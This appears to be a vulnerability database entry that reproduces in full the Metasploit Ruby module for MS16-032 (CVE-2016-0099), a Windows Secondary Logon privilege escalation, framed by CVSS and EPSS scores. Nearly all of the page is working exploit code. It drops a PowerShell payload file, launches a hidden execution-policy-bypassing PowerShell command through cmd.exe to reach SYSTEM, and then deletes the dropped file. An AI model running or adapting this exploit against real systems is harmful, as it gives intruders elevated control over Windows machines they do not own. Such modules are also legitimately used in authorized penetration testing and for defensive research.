7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0004 Low
EPSS
Percentile
9.3%
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(update_info(info,
'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
'Description' => %q{
This module exploits the lack of sanitization of standard handles in Windows' Secondary
Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
32 and 64 bit. This module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.
},
'License' => BSD_LICENSE,
'Author' =>
[
'James Forshaw', # twitter.com/tiraniddo
'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
'khr0x40sh'
],
'References' =>
[
[ 'MS', 'MS16-032'],
[ 'CVE', '2016-0099'],
[ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
[ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Mar 21 2016',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
# Tested on (32 bits):
# * Windows 7 SP1
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 8
# * Windows 2012
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0
))
register_advanced_options(
[
OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
# How long until we DELETE file, we have a race condition here, so anything less than 60
# seconds might break
OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
], self.class)
end
def get_arch
arch = nil
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
arch
end
def check
os = sysinfo["OS"]
if os !~ /win/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
arch1 = get_arch
if check == Exploit::CheckCode::Safe
print_error("Target is not Windows")
return
elsif arch1 == nil
print_error("Architecture could not be determined.")
return
end
# Exploit PoC from 'b33f'
ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
vprint_status("PS1 loaded from #{ps_path}")
ms16_032 = File.read(ps_path)
cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
cmdstr.gsub!("System32","SYSWOW64")
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
vprint_warning("#{cmdstr}")
end
# payload formatted to fit dropped text file
payl = cmd_psh_payload(payload.encoded,payload.arch,{
encode_final_payload: false,
remove_comspec: true,
method: 'old'
})
payl.sub!(/.*?(?=New-Object IO)/im, "")
payl = payl.split("';$s.")[0]
payl.gsub!("''","'")
payl = "$s=#{payl}while($true){Start-Sleep 1000};"
@upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
path = datastore['W_PATH'] || pwd
@upfile = "#{path}\\#{@upfile}"
fd = session.fs.file.new(@upfile,"wb")
print_status("Writing payload file, #{@upfile}...")
fd.write(payl)
fd.close
psh_cmd = "IEX `$(gc #{@upfile})"
#lpAppName
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
#lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")
print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)
if ms16_032_c.size > 8100
print_error("Compressed size: #{ms16_032_c.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
else
print_good("Compressed size: #{ms16_032_c.size}")
end
if datastore['DRY_RUN']
print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
return
end
print_status("Executing exploit script...")
cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
args = nil
begin
process = session.sys.process.execute(cmd, args, {
'Hidden' => true,
'Channelized' => false
})
rescue
print_error("An error occurred executing the script.")
end
end
def cleanup
sleep_t = datastore['TIMEOUT']
vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
sleep sleep_t
begin
rm_f(@upfile)
print_good("Cleaned up #{@upfile}")
rescue
print_error("There was an issue with cleanup of the powershell payload script.")
end
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.0004 Low
EPSS
Percentile
9.3%